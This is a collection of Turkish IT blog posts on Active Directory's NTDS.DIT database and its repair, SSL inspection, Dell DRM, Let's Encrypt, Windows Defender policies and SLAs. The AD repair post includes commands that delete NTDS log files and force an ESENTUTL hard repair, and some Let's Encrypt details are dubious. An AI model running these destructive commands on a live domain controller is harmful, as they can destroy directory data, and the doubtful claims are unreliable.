<year>1979</year> </book> 2-JSON Örneği: { "book": { "title": "The Hitchhiker's Guide to the Galaxy", "author": "Ahmet DEMIR", "publisher": "Pan Books", "year": 1979 } } 3-YAML Örneği: book: title: The Hitchhiker's Guide to the Galaxy author: Ahmet DEMIR publisher: Pan Books year: 1979 Not: XML, JSON, YAML arası dönüşümleri https://codebeautify.org/yaml-to-json-xml-csv adresinden yapabilirsiniz --- ## Active Directory Veri tabanı Dosyası "NTDS.DIT" Nedir? Link: https://farukguler.com/posts/ntds-dit-nedir/ Active Directory verileri, veritabanı dosyası olarak bilinen NTDS.DIT dosyasında saklanır. NTDS.DIT (NT Directory Service Database Information Tree) dosyası, Active Directory veritabanı dosyasıdır ve tüm Active Directory nesnelerinin ve ilişkilerinin bilgisini içerir. Bu dosya, etki alanı denetleyicilerinde (domain controller) bulunur ve Active Directory verilerinin depolandığı yegane yerdir. NTDS.DIT dosyası, Active Directory'nin tüm verilerini saklar. Bu veriler, kullanıcı hesapları, gruplar, bilgisayar nesneleri, etki alanları, politikalar ve diğer birçok nesneyi içerir. NTDS.DIT dosyası aynı zamanda Active Directory yedeklemelerinin de alındığı dosyadır. Gerçek veri tabanı dosyası olan Active Directory veri deposu %SystemRoot%\ntds\NTDS.DIT ​​şeklindedir. Ntds.dit dosyası, kullanıcılar, objelerde dahil olmak üzere Active Directory' nin kalbidir. Active Directory Veri tabanı NTDS.DIT ​​mantıksal olarak beş farklı bölümde incelenir, Bu alanların tümüne "ADSIEDIT" üzerinden alanından erişebilir. Domain Partitions Schema Partition Configuration Partition Global Catalog Partition Application Partition Domain Directory Partitions: Domain içinde bulunan kullanıcılar, gruplar, bilgisayarlar ve diğer nesnelerin tutulduğu veritabanı bölümüdür.Bu alanda bulunan her şey domain içerisindeki domain controller bilgisayarlarına replikasyon yöntemi ile çoğalır. Schema Directory Partition: AD forest yapısı içerisindeki tüm nesnelere alt sınıflandırma ve özellik bilgilerini tutan şema(Shema) kataloğunu içermektedir. Bu bölüm AD forest yapısı içerisindeki tüm domain controller bilgisayarlarına güncellenir. Shema tüm forest kapsamın tek ve ortaktır. Forest içindeki tüm domain’ler aynı şema yapısını kullanırız. Configuration Directory Partition: Forest içerisindeki konfigürasyon nesnelerini içeririr. Bunlar; siteler, domain controller sunucular, servisler ve dizin böülmleridir. Bu bölümde AD Forest yapısı içerisindeki tüm domain controller bilgisayarına güncellenir. Global Catalog Directory Parttition: AD forest içerisindeki bulunan tüm domain’lere ait kısmi bazı bilgileri içeren se sadece okunabilir olan bölümdür. Active directory forest yapısı içerisinde Global Catalog rolüne sahip tüm domain controller sunuculara güncellenir. Appication Directory Partition: AD veritabanı içerisindeki DNS vb. uygulamalar tarafından kullanılan ve o uygulamaya ait bilgilerin tutulduğu bölümdür. Özellikle active directory integrated zone yapısında çalışan DNS sunuculara ait bilgiler bu bölüm içerisinde saklanır. Bu bölüm içerisindeki bilgiler örneğin DNS için; o domain içerisinde ya da forest içerisinde bulunan tüm DNS sunuculara Active Directory replikasyonu üzerinden çoğaltırlar. --- ## Active Directory Database is CORRUPTED! Fixed Link: https://farukguler.com/posts/active-directory-data-is-corrupted/ Sorun: Active Directory (AD) veritabanı bozuktur; sunucu AD etki alanı üyelerini doğrulayamaz, şifre değiştirme vb. hatalar oluşursa ve normal modda başlatılamaz veya tüm domainde "An internal error occurred" gibi belirsiz uyarıların oluşmaya başlaması sonucu Active Directory Veri Tabanının(bkz: Ntds.dit nedir?) bozulduğu anlamına gelir. Çözüm: Yakın zamanda bir sistem yedeği veya snapshot almadıysanız, AD kurtarma girişimi olarak aşağıdaki adımları gerçekleştirebilirsiniz. DC'yi Dizin Hizmetleri Geri Yükleme Modu'nda (DSRM) modda başlatalım. Dizin Hizmetleri Geri Yükleme Modu, Active Directory Etki Alanı Denetleyicilerinde, acil bakım için, özellikle de AD nesnelerinin yedeklerini geri yüklemek için sunucuyu çevrimdışına alan bir işlevdir. Güvenli moda benzer şekilde, Windows Server'da gelişmiş başlangıç ​​menüsü aracılığıyla erişilir. DSRM modunda login olabilmek için DSRM şifremizi bilmemiz gerekir, DSRM şifresi domain kurulumunda oluşturulan ".\Administrator" hesabına tanımlanan bir şifredir. Unutulduğu zaman resetlenmesi mümkündür. bkz: Resetting AD DSRM Serveri DSRM Modda yeniden başlatmak için: Bcdedit /set safeboot dsrepair Shutdown /r /t 0 Serveri DSRM Modundan çıkarıp yeniden başlatmak için: bcdedit /deletevalue safeboot shutdown -t 0 -r İlk veri tabanı bütünlük kontrolünü check etmek için: #PS & CMD: ESENTUTL /g C:\windows\NTDS\ntds.dit /!10240 /8 /o #Checking database integrity. Scanning Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| .................................................. Integrity check completed. Database is CORRUPTED! #Veritabanı tutarsızlıkları durumunda "results CORRUPTED, -1206" (sonuçlar BOZUK, -1206) gibi hata mesajı döndürür. Eğer CORRUPTED değerini döndürürse, Soft Recovery için ntdsutil aracını başlatalım: ntdsutilactivate instance ntdsfilesinfo#("Recover" Kurtar komutu ile kurtarma işlemine başlayalım) Bu komut, AD veritabanı yumuşak bir şekilde kurtarılmasını başlatacaktır.recoverquitquit#DC yeniden başlatarak kurtarma işlemi başarılı olup, hataların giderip giderilmediği tekrar kontrol edilmelidir. kontrol sonrası hala hatalar devam ediyorsa "hard" kurtarma moduna geçmelisiniz! AD Veritabanı günlük(LOG) dosyalarının kontrol edilip - silinmesi: #Log Check: ESENTUTL /ml c:\windows\ntds\edb #Tüm logları Sil: del c:\Windows\NTDS\*.log del c:\Windows\NTDS\*.chk Hard Recovery Moduna devam edilmesi: ESENTUTL /p c:\Windows\NTDS\ntds.dit /!10240 /8 /o #Initiating REPAIR mode... Database: c:\Windows\NTDS\ntds.dit Temp. Database: TEMPREPAIR4840.EDB #Checking database integrity. Scanning Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| ................................................... #Initiating DEFRAGMENTATION mode... Database: c:\Windows\NTDS\ntds.dit #Defragmentation Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| ................................................... #Moving 'TEMPREPAIR4840.EDB' to 'c:\Windows\NTDS\ntds.dit'... DONE! 3Moving 'TEMPREPAIR4840.jfm' to 'c:\Windows\NTDS\ntds.jfm'... DONE! 3Note: It is recommended that you immediately perform a full backup of this database. If you restore a backup made before the defragmentation, the database will be rolled back to the state it was in at the time of that backup. Operation completed successfully in 6.203 seconds. Veri tabanı bütünlük kontrolünü tekrar check edin: ESENTUTL /g C:\windows\NTDS\ntds.dit /!10240 /8 /oInitiating INTEGRITY mode...Database: C:\windows\NTDS\ntds.ditTemp. Database: .\TEMPINTEG1636.EDBChecking database integrity.Scanning Status (% complete) 0 10 20 30 40 50 60 70 80 90 100|----|----|----|----|----|----|----|----|----|----|...................................................Integrity check successful.Operation completed successfully in 6.813 seconds.  "NTDSUTIL" aracına tekrar dönüp "Veritabanı Anlam Çözümlemesi" kontrol edelim: ntdsutil activate instance ntds semantic database analysis go go fix quit quit #GO Fix Report: semantic checker: go fix Fixup mode is turned on Opening DIT database... Done. Done. ......Done. Writing summary into log file dsdit.dmp.1 SDs scanned: 105 Records scanned: 3724 Processing records..Done. Elapsed time 0 seconds. Serveri DSRM Modundan çıkarıp yeniden başlatın: bcdedit /deletevalue safeboot shutdown -t 0 -r Saygılarımla – Best Regard --- ## SSL Inspection Nedir? Link: https://farukguler.com/posts/ssl-inspection/ SSL Inspection (Secure Sockets Layer Inspection) olarak da bilinen SSL Decryption veya TLS Interception, ağ güvenliği için kullanılan bir tekniktir. Bu teknik, ağ üzerinden iletilen şifreli trafiği şifresini çözerek inceler. SSL Inspection, ağ trafiğindeki zararlı içerikleri veya kötü amaçlı yazılımları tespit etmek, önlemek veya engellemek için kullanılır. SSL/TLS şifreleme protokollerini kullanan web siteleri, e-posta hesapları, mesajlaşma uygulamaları ve diğer ağ hizmetleri bu teknolojiden faydalanır. Bu teknik, ağ güvenliği için gereklidir, ancak bazı kullanıcılar tarafından gizlilik ihlali olarak görülebilir. Bu nedenle, SSL Inspection işlemi gerçekleştirilirken, organizasyonlar gizlilik politikalarını ihlal etmeden ağ trafiği üzerinde kontrol sağlamak için uygun teknikler kullanmalıdır. SSL Inspection teknolojisi, Man-in-the-Middle (MITM) saldırılarına benzer bir şekilde çalışır. MITM saldırıları, bir saldırganın ağ trafiğini izleyerek, değiştirerek veya yeniden yönlendirerek iletişim kurulan iki tarafa kendisini araya sokmasıdır. SSL Inspection, ağ trafiğini izleyen bir araç kullanarak, şifreli trafiği çözerek ve kontrol ederek araya girer. Check Point Next Generation Firewalls (NGFWs) Palo Alto Network FortiGate. WatchGuard Network Security. SonicWall. Cisco Meraki. Huawei Firewall. Sophos. Cisco ASA 5500-X Series vb.. HTTPS Inspection, SSL Inspection, TLS denetimi, TLS Cracking and inspectione ve HTTPS Interception gibi birçok adla anılır. SSL Inspection Nasıl Çalışır? SSL Inspection, aşağıdaki adımları izleyerek çalışır. SSL/TLS trafiği: İlk adım, şifreli trafiği oluşturan SSL/TLS protokollerinin tespit edilmesidir. Bu protokoller, HTTPS, SMTPS, IMAPS, FTPS, ve diğer birçok şifreli protokolü içerir. Şifreli trafik yönlendirilmesi: İkinci adım, şifreli trafiğin önce SSL Inspection aracına yönlendirilmesidir. Bu, ağ trafiği yönlendirme cihazları veya proxy sunucuları tarafından gerçekleştirilir. Şifre çözme: SSL Inspection aracı, şifreli trafikte kullanılan SSL/TLS protokollerinin şifrelerini çözer ve şifreli verileri açığa çıkarır. Bu adım, araca önceden yüklenen SSL/TLS sertifikaları veya özel anahtarlar kullanılarak gerçekleştirilir. Veri kontrolü: Şifre çözme adımından sonra, açığa çıkarılan veriler kontrol edilir. Bu adımda, içerik filtreleme, kötü amaçlı yazılım taraması, güvenlik duvarı kontrolleri vb. yapılır. Veri yeniden şifreleme: Verilerin kontrolünden sonra, SSL Inspection aracı, yeniden şifreleme işlemi ile verileri tekrar şifreleyerek hedef sunucuya gönderir. Hedef sunucuya iletme: SSL Inspection aracı, yeniden şifrelenmiş verileri, hedef sunucuya gönderir. Normalde bir Web sitesi TLS kullandığında, istemci cihaz-client (kullanıcının bilgisayarı veya akıllı telefonu) doğrudan web sitesinin ana sunucusuna bağlanır ve şifreli bir bağlantı-trafik oluşturur. Şifreli bağlantı kurulduktan sonra, istemci ile sunucu arasındaki trafik tamamen şifrelenir ve ortadaki hiç kimse trafiği görüntüleyemez. HTTPS Inspection sırasında ise ürün, biri sunucuya, diğeri istemciye olmak üzere iki adet SSL bağlantısı kurar. İstemci açısından, aracı olmadan doğrudan sunucuya bağlanmaktır. Bunun yerine trafik, web sitesini taklit eden inceleme ürünü'ne yönlendirilir. Güvenlik ürünümüz trafiğin içeriğini görüntüleme, değiştirme ve engelleme yeteneği kazanır. Normal SSL Trafiği Olan Network: Clinet ---> SSL Trafiği ---> Hedef Server (binance.com - (18.177.194.58) Ssl Inspection Etkili Olan Network: Client ----> SSL Trafiği ---> Gateway/Proxy ---> hedef sunucu (binance.com -(18.177.194.58) ----------> Network with Normal SSL Traffic: Clinet ---> SSL Traffic ---> Destination Server (binance.com - (18.177.194.58) Network With Ssl Inspection Effective: Client ----> SSL Traffic ---> Gateway/Proxy ---> target server (binance.com -(18.177.194.58) Normal SSL trafiğinde Gateway (binance.com - (18.177.194.58) adresine giden trafiğin içeriğindeki verileri okuyamaz ancak SSL Inspection uygulanmış olan bir trafikte SSL trafiği Gateway'de sonlandığı için Gateway içeriği okuyabilir, değiştirebilir veya engelleyebilir. Kısaca, SSL Inspection teknolojisi, ağ trafiğini dinlemek ve denetlemek için araya girer. Şifreli trafiği çözerek içerik filtreleme, kötü amaçlı yazılım taraması, güvenlik duvarı kontrolleri gibi işlemleri gerçekleştirmek için şifreli trafiği önce kendisine yönlendirir. Bu nedenle, SSL Inspection işlemi bazı kullanıcılar tarafından gizlilik ihlali olarak görülebilir. Ancak, bu teknoloji genellikle kurumsal ağ güvenliği için kullanılır ve gizlilik politikalarına uygun olarak kullanılması gerekmektedir. Saygılarımla – Best Regards… --- ## Dell EMC Repository Manager (DRM) Nedir? Link: https://farukguler.com/posts/dell-emc-repository-manager-drm/ Dell EMC Repository Manager (DRM) nedir? Dell EMC Repository Manager (DRM), Dell EMC sunucu sistemleri için firmware ve sürücü güncellemelerinin yönetimini ve dağıtımını kolaylaştıran bir yazılımdır. DRM, Dell EMC sunucularının donanım bileşenleri için en son firmware ve sürücü güncellemelerini toplamak, saklamak ve yönetmek için kullanılır. Bu güncellemeler, sunucuların performansını, güvenliğini ve istikrarını arttırmak ve aynı zamanda sorunları gidermek için tasarlanmıştır. DRM, Dell EMC sunucu sistemlerinin yönetimini kolaylaştırmak için kullanıcı dostu bir arayüze ve güncelleme sürecini otomatikleştiren özelliklere sahiptir. DRM, sunucu sistemlerinin uyumluluğunu sağlamak için de önemlidir, çünkü sunucu bileşenleri arasındaki uyumsuzluklar güvenlik riskleri ve performans sorunlarına neden olabilir. Dell EMC Repository Manager, hem tek bir sunucu hem de çoklu sunucu dağıtımları için kullanılabilir ve Dell EMC sunucu sistemlerinin yönetimini kolaylaştırarak işletmelerin BT altyapılarını güncel tutmalarına yardımcı olur ***Not: Dell EMC Repository Manager (DRM) yalnızca Windows veya Linux işletim sistemlerine yüklenebilir. Özellikler: Dell EMC Repository Manager'ın (DRM) özellikleri şunlardır: Firmware ve sürücü yönetimi Otomatik güncelleme Uyumluluk taraması Basit arayüz Çoklu sunucu desteği Esnek dağıtım seçenekleri Dell EMC Repository Manager (DRM) İndirilmesi: Dell EMC Repository Manager (DRM) en son sürümü 3.4.2'dir: (Aralık 2022) DRM İndirme bağlantısı DRM Kullanıcı Kılavuzu Not:  DRM 3.4'den başlayarak Sorun Giderme Rehberi Kullanıcı Kılavuzu ile birleştirilmiştir DRM'nin en son sürümü, çeşitli özellik geliştirmeleri sağlar. Saygılarımla – Best Regards… --- ## Let’ s EnCrypt Nedir? Link: https://farukguler.com/posts/let-s-encrypt-nedir/ Let's Encrypt, açık kaynaklı bir sertifika otoritesidir ve internet sitelerindeki trafiği güvence altına almak için SSL/TLS sertifikaları sunar. Let's Encrypt, kullanıcıların web sitelerini ücretsiz olarak HTTPS ile güvenli hale getirmelerini sağlar. Let's Encrypt, 2015 yılında kurulan ve ücretsiz SSL sertifikaları sunan ilk sertifika otoritesidir. Let's Encrypt'in amacı, internetin daha güvenli bir hale getirilmesine katkıda bulunmak ve kullanıcıların web sitelerindeki trafiği şifreleyerek daha güvenli bir çevrimiçi deneyim yaşamalarını sağlamaktır. Let's Encrypt, SSL/TLS sertifikalarını otomatik olarak yeniler ve kullanıcıların sertifikalarını yönetmesini kolaylaştırmak için birçok araç sunar. Ayrıca, sertifikaların ücretsiz olması, özellikle küçük işletmeler veya kişisel web siteleri için güvenlik sağlama konusunda büyük bir avantajdır. Sonuç olarak, Let's Encrypt, internet sitelerinin trafiğini güvence altına almak için ücretsiz SSL/TLS sertifikaları sunan açık kaynaklı bir sertifika otoritesidir ve internetin daha güvenli bir hale getirilmesine katkıda bulunmayı amaçlar. Let’s Encrypt’i Neden Kullanmalıyım? Ücretsiz: Let's Encrypt sertifikaları, ücretsizdir. Bu, özellikle küçük işletmeler veya kişisel web siteleri için maliyet tasarrufu sağlar. Güvenli: Let's Encrypt sertifikaları, SSL/TLS protokolünü kullanarak trafiği şifreler ve siteyi daha güvenli hale getirir. Bu, web sitenizin güvenliği için önemlidir. Otomatik yenileme: Let's Encrypt sertifikaları otomatik olarak yenilenir. Bu, sertifikanın süresinin dolması nedeniyle sitenizin erişilemez olmasını önler. Genişletilebilir: Let's Encrypt sertifikaları, Wildcard sertifikalar ve SAN (Subject Alternative Names) gibi genişletilebilir seçenekler sunar. Açık kaynaklı: Let's Encrypt, açık kaynaklı bir sertifika otoritesidir. Bu, kodun açık olduğu anlamına gelir ve güvenlik uzmanları tarafından incelenebilir ve geliştirilebilir. Sonuç olarak, Let's Encrypt sertifikaları, web sitelerinizin trafiğini güvenli hale getirmek için ücretsiz, güvenli ve otomatik olarak yenilenen bir seçenektir. Bu nedenle, Let's Encrypt sertifikalarını kullanmanız, web sitenizin güvenliğini artırmak ve maliyet tasarrufu yapmak için mantıklı bir seçenek olabilir. Let’s Encrypt (vs) diğer SSL Sertifikalar Ücretsiz: Let's Encrypt sertifikaları ücretsizdir. Diğer sertifika sağlayıcıları genellikle ücretli sertifikalar sunarlar. Bu, özellikle küçük işletmeler veya kişisel web siteleri için maliyet tasarrufu sağlar. Otomatik yenileme: Let's Encrypt sertifikaları otomatik olarak yenilenir. Diğer sertifika sağlayıcıları, sertifikaların manuel olarak yenilenmesini gerektirir ve bu unutulduğunda sitenin erişilemez olmasına neden olabilir. Güvenilir: Let's Encrypt, web tarayıcılarının tarafından tanınan bir sertifika otoritesidir ve sertifikaları standart SSL sertifikalarıyla aynı seviyede güvenlik sağlar. Açık kaynaklı: Let's Encrypt, açık kaynaklı bir sertifika otoritesidir ve kodu halka açıktır. Bu, güvenlik uzmanlarının kodu incelemesini ve iyileştirmeler yapmasını sağlar. Kolay kurulum ve kullanım: Let's Encrypt sertifikaları, kurulum ve yönetim açısından diğer sertifika sağlayıcılarına göre daha kolaydır. Ayrıca, Let's Encrypt'in sağladığı araçlar, sertifika yönetimini kolaylaştırır. Genişletilebilir: Let's Encrypt sertifikaları, Wildcard sertifikalar ve SAN (Subject Alternative Names) gibi genişletilebilir seçenekler sunar. Ancak, Let's Encrypt sertifikalarının birkaç dezavantajı da vardır. Örneğin, bazı kurumsal ağlarda Let's Encrypt sertifikaları reddedilebilir. Ayrıca, bazı ek özellikler (örneğin, EV sertifikaları) Let's Encrypt sertifikalarında mevcut değildir. Sonuç olarak, Let's Encrypt sertifikaları, diğer SSL sertifikası sağlayıcılarına göre birçok avantaja sahiptir. Bunlar arasında ücretsiz olmaları, otomatik yenilenmeleri, güvenilirlikleri, açık kaynaklı olmaları ve kolay kurulumları sayılabilir. Ancak, bazı dezavantajları da vardır ve kullanım durumunuza ve gereksinimlerinize bağlı olarak farklı sertifika sağlayıcılarını da değerlendirebilirsiniz. Let’s Encrypt Nasıl Çalışır? Let's Encrypt, web sitelerine HTTPS protokolü ile erişim sağlamak için kullanılan SSL sertifikalarının ücretsiz olarak sunulduğu bir sertifika otoritesidir. Let's Encrypt sertifikaları, Let's Encrypt'in otomatik sertifika yönetim araçları (Certbot, ACME client vb.) kullanılarak kolayca kurulabilir ve yönetilebilir. Let's Encrypt sertifikaları, güvenli bir bağlantı kurulduğunu doğrulayan bir dijital imza içerir. Sertifika doğrulama sürecinde, Let's Encrypt, sertifika talep eden web sitesinin kontrolünü doğrulamak için bir dizi doğrulama adımı gerçekleştirir. Doğrulama adımları, sertifika türüne bağlı olarak değişebilir. Örneğin, Let's Encrypt sertifikalarının en yaygın türü olan Domain Validated (DV) sertifikaları için, sertifika talep eden web sitesinin sahibinin olduğunu doğrulamak için birkaç doğrulama adımı gerçekleştirilir. Bu adımlardan biri, sertifika talep eden web sitesinin alan adının kontrol edilmesidir. Bu işlem, sertifika otoritesi tarafından kullanılan özel bir protokol olan ACME (Automatic Certificate Management Environment) ile gerçekleştirilir. Let's Encrypt sertifikaları, web tarayıcıları tarafından tanınan bir sertifika otoritesi olarak kabul edilir ve SSL/TLS protokolü kullanarak web siteleri arasında güvenli bir bağlantı sağlar. Bu sayede, kullanıcıların bilgileri (örneğin, kullanıcı adları ve şifreler) güvenli bir şekilde iletilir ve kötü amaçlı kullanıcıların bu bilgilere erişmesi engellenir. Sonuç olarak, Let's Encrypt sertifikaları, güvenli web siteleri için ücretsiz, kolayca yönetilebilir ve güvenilir bir seçenektir. Let’s Encrypt’in bir diğer güzel yanı da; Subject Alternative Name (SAN) içeren sertifikalar basabilmesidir. Örneğin farukguler.net ve mail.farukguler.net gibi birden fazla FQDN’e sahip bir web sayfanız var. Certbot agent programına bu adresleri gösterdiğiniz zaman otomatik bir şekilde SAN attribute’una sahip bir sertifika oluşturabiliyor. Let’s Encrypt SSL Sertifikası hizmeti ücretli mi? Let's Encrypt SSL sertifikaları tamamen ücretsizdir. Let's Encrypt, web sitelerinde HTTPS kullanımını teşvik etmek ve internet güvenliğini artırmak amacıyla kurulmuş bir kamusal hizmettir. Bu nedenle, Let's Encrypt sertifikalarını kullanmak için herhangi bir ücret ödemenize gerek yoktur Let’s Encrypt SSL Sertifikası şifreleme türleri nelerdir? Let's Encrypt SSL sertifikaları, genellikle 2048 bit uzunluğunda RSA şifreleme yöntemini kullanır. Bunun yanı sıra, Elliptic Curve Cryptography (ECC) algoritmasını da destekler. ECC, daha küçük anahtar boyutlarına sahip olduğu için daha hızlı işlem yapar ve daha az kaynak tüketir. Bu nedenle, Let's Encrypt bazı durumlarda ECC sertifikaları da sunabilir. Ancak, ECC sertifikaları, tüm web tarayıcıları tarafından tam olarak desteklenmeyebilir. Let’s Encrypt SSL Sertifikası kaç alan adında geçerlidir? Let's Encrypt SSL sertifikaları, tek bir ana alan adı ve bu ana alan adına bağlı olarak 100 adet alt alan adına kadar geçerlidir. Let’s Encrypt SSL Sertifikası kaç gün geçerlidir? Let's Encrypt SSL sertifikaları, 90 gün geçerlidir. Bu, diğer SSL sertifikalarına kıyasla daha kısa bir süredir. Let's Encrypt, sertifikaların daha sık yenilenmesini önererek güvenliği artırmayı amaçlar. Sertifikanın geçerlilik süresi sona erdiğinde, yeni bir sertifika oluşturmak ve web sitesinde veya sunucuda yüklemek gereklidir. Bu işlem, Let's Encrypt'in otomatik sertifika yenileme işlevi ile kolaylaştırılabilir. Let’s Encrypt SSL Sertifikası Nasıl Yenilenir? Let's Encrypt SSL sertifikalarını otomatik olarak yenilemek için, birçok web sunucusu yönetim aracı, yazılımı veya aracı mevcuttur. Bu araçlar, sertifikanın otomatik olarak yenilenmesi için gerekli olan işlemleri otomatik olarak gerçekleştirir. Örneğin, Certbot, Let's Encrypt SSL sertifikalarını otomatik olarak yönetmek için en popüler araçlardan biridir. Certbot, Apache, Nginx, IIS ve diğer birçok web sunucusu ile uyumludur. Sertifikanın otomatik olarak yenilenmesi için bir cron işi oluşturarak, sertifika yenileme işlemi düzenli olarak otomatik olarak gerçekleştirilebilir. Bir diğer alternatif de, bazı hosting sağlayıcıları ve kontrol paneli yazılımları Let's Encrypt SSL sertifikalarının otomatik olarak yenilenmesini destekler. Bu durumda, sertifikanın yenilenmesi tamamen hosting sağlayıcınızın kontrolündedir ve sizin herhangi bir işlem yapmanıza gerek yoktur. Sağlıcakla – Best Regards --- ## Windows Defender Group Policy and Infected LOGS Inspection Link: https://farukguler.com/posts/windows-defender-group-policy-and-logs/ Windows Defender Version Check Powershell: PS: Get-MpComputerStatus #AMProductVersion : 4.18.2211.5 Windows Defender Loglarını detaylı şekilde inceleyelim: Windows Defender'ın bir günlük dosyası var mı? Evet var, Windows Defender'ın birden çok günlük dosyası vardır. Bilgisayarınızda her tarama yaptığınızda bir günlük oluşturur. Hızlı tarama, Tam tarama, Özel tarama veya Microsoft Defender Çevrimdışı taraması olsun, Windows Defender her seferinde bir günlük oluşturur. Günlük dosyalarını burada bulabilirsiniz: C:\ProgramData\Microsoft\Windows Defender\Support Ancak, günlük dosyalarını kullanıcı dostu bir şekilde okumak istiyorsanız, WinDefLogView'dan yararlanabilirsiniz. WinDefLogView v1.00Copyright (c) 2022 Nir Soferhttps://github.com/theguler0x/Tools/blob/main/win_defender_logviewer.zip (Github)Web site: https://www.nirsoft.net/utils/windows_defender_log_Viewer.html WinDefLogView, şu kaynaklardan gelen verileri algılayabilir: Bu sistem Harici Klasör Uzak bilgisayar Çoklu Uzak Bilgisayarlar Shadow Copy Kendi bilgisayarınızı kullandığınız için Bu Sistem seçeneğini seçiniz ve Tamam butonuna tıklayınız. Algılanan tüm tehditleri ekranınızda görüntüler. Tüm ayrıntıları bulmak için herhangi bir tehdide sağ tıklayıp Properties seçeneğini açabilirsiniz. Windows Defender Group Policy Windows Defender’in Group Policy Yeni bir GPO oluşturup adını tanımlayalım. Aşağıdaki ayarları test ortamınızda deneyerek gerçek ortamlarınıza uygulamanızı tavsiye ederim. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender yolunda "Windows Defender GPO" ayarlarını bulabilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Turn off Windows Defender’ı Disabled yaparak Windows Defender’in son kullanıcılar tarafından kapatılmasını engelleyebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Client Interface > Suppress all notifications seçeneğini enabled yaparak kullanıcılara bildirim gitmesini engelleyebilir veya disabled yaparak bildirimleri aktif edebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Client Interface > Enable headless UI mode seçeneğini kullanarak detaylı ekranların görünmesi engelleyebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Exclusions yolunu takip ederek belli process, uzantı, path vs. için istisnalar tanımlayabilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Quarantine > Configure removel of items form Quarantine folder seçeneğiyle karantinada kalacak dosyaların kaç gün sonra silineceğini seçebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Scan> Allow users to pause scan yolunu takip ederek kullanıcıların taramaları durdurmalarını engelleyebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Scan > Specify the day of the week to run a scheduled full scan to complete remediation seçeneğini kullanarak istemcilerde zamanlanmış görevler oluşturabilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > MAPS > Send the file samples when further analysis is required yolunu takip ederek örneklerin gönderilip gönderilmeyeceğini düzenleyebilirsiniz. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Defender > Scan > Scan removable drives seçeneğiyle şayet full tarama başladıysa removable/çıkarılabilir driverlarında taranamasını sağlayabilirsiniz. vs..... Saygılarımla – Best Regards... --- ## SLA (Service Level Agreement) Nedir? Link: https://farukguler.com/posts/sla-service-level-agreement/ SLA (Service Level Agreement), bir hizmetin sunulması için alıcı ve sağlayıcı arasında yapılan yazılı bir anlaşmadır. Bu anlaşmada, hizmet sağlayıcının, belirli bir süre boyunca belirli bir hizmet düzeyini sağlama taahhüdü yer almaktadır. SLA, müşterilerin ve hizmet sağlayıcıların beklentilerini netleştiren bir araçtır. Anlaşma, hizmetin kalitesi, süresi, kullanılabilirliği, performansı ve müşteri desteği gibi konuları kapsayabilir. Ayrıca, hizmet sağlayıcının taahhüt ettiği hizmet düzeylerine uyulmaması durumunda neler yapılacağı gibi cezai hükümler içerebilir. SLA'lar, genellikle işletmeler arasındaki anlaşmalarda kullanılır, ancak hizmet sağlayıcılar müşterilerine de SLA sunabilirler. SLA, her iki tarafın da taahhütlerini ve sorumluluklarını netleştirdiği için, hizmet sağlayıcıların müşteri beklentilerini karşılamalarına ve müşterilerin de hizmetlerden tam olarak yararlanmalarına yardımcı olur. SLA Nasıl Çalışır ve yanıt Süresi Nedir? SLA, hizmet sağlayıcının belirli bir hizmet düzeyi sunma taahhüdünü içerir ve bu taahhüdün yerine getirilip getirilmediği düzenli olarak ölçülür. Ölçülen veriler, SLA'nın yerine getirilip getirilmediğini gösteren bir performans raporu hazırlanmasına olanak tanır. SLA, genellikle birkaç bileşenden oluşur: Hizmet seviyesi hedefleri: Hizmet sağlayıcının sunmayı taahhüt ettiği hizmet düzeyi hedefleri belirtilir. Bu hedefler genellikle, hizmetin kullanılabilirliği, performansı ve yanıt süresi gibi ölçümlerle tanımlanır. Ölçüm yöntemleri: SLA'da, hizmet sağlayıcının performansını ölçmek için kullanılan yöntemler belirtilir. Bu ölçümler genellikle, hizmetin kullanılabilirliği, performansı ve yanıt süresi gibi ölçümlerdir. Cezai şartlar: SLA'nın ihlali durumunda, belirlenmiş cezaların ne olduğu belirtilir. Bu cezalar genellikle, hizmetin kullanılabilirliğinde düşüşlerin yaşanması veya hizmet düzeyi hedeflerine ulaşılamaması gibi durumları kapsar. SLA'da belirtilen yanıt süresi, hizmet sağlayıcının bir istek veya sorunla ilgili olarak ne kadar sürede yanıt vermesi gerektiğini belirtir. Yanıt süresi, isteğin veya sorunun aciliyetine göre değişebilir. Örneğin, kritik bir sorun için yanıt süresi birkaç saat iken, daha az acil bir istek için yanıt süresi birkaç gün olabilir. SLA, hizmet sağlayıcının müşterileri ile güçlü bir işbirliği sağlamak için önemlidir. Bu anlaşma, hizmet düzeyleri hakkında net bir anlayış sağlayarak, hizmet sağlayıcının performansını ölçmek ve hizmet düzeylerini karşılamak için gerekli adımları atmasını sağlar. SLA Çeşitleri Nelerdir? Bazı yaygın SLA türleri şunlardır: Hizmet kullanılabilirliği SLA: Bu tür SLA, hizmetin kullanılabilirliği ile ilgilidir. Hizmet sağlayıcının, hizmetin belirli bir süre boyunca kullanılabilirliği için taahhüt ettiği hizmet düzeyi hedefleri belirtilir. Performans SLA: Bu tür SLA, hizmetin performansı ile ilgilidir. Hizmet sağlayıcının, hizmetin belirli bir süre boyunca belirli performans hedeflerini karşılaması gerektiği belirtilir. Örneğin, bir web sitesinin sayfa yükleme süreleri, belirli bir hızda gerçekleşmelidir. Yanıt süresi SLA: Bu tür SLA, hizmet sağlayıcının bir istek veya sorunla ilgili olarak ne kadar sürede yanıt vermesi gerektiğini belirtir. Müşteri desteği SLA: Bu tür SLA, hizmet sağlayıcının müşteri desteği hizmetleri ile ilgilidir. Hizmet sağlayıcının, müşterilerinin isteklerini veya sorunlarını belirli bir süre içinde çözmesi için taahhüt ettiği hizmet düzeyi hedefleri belirtilir. İşlem 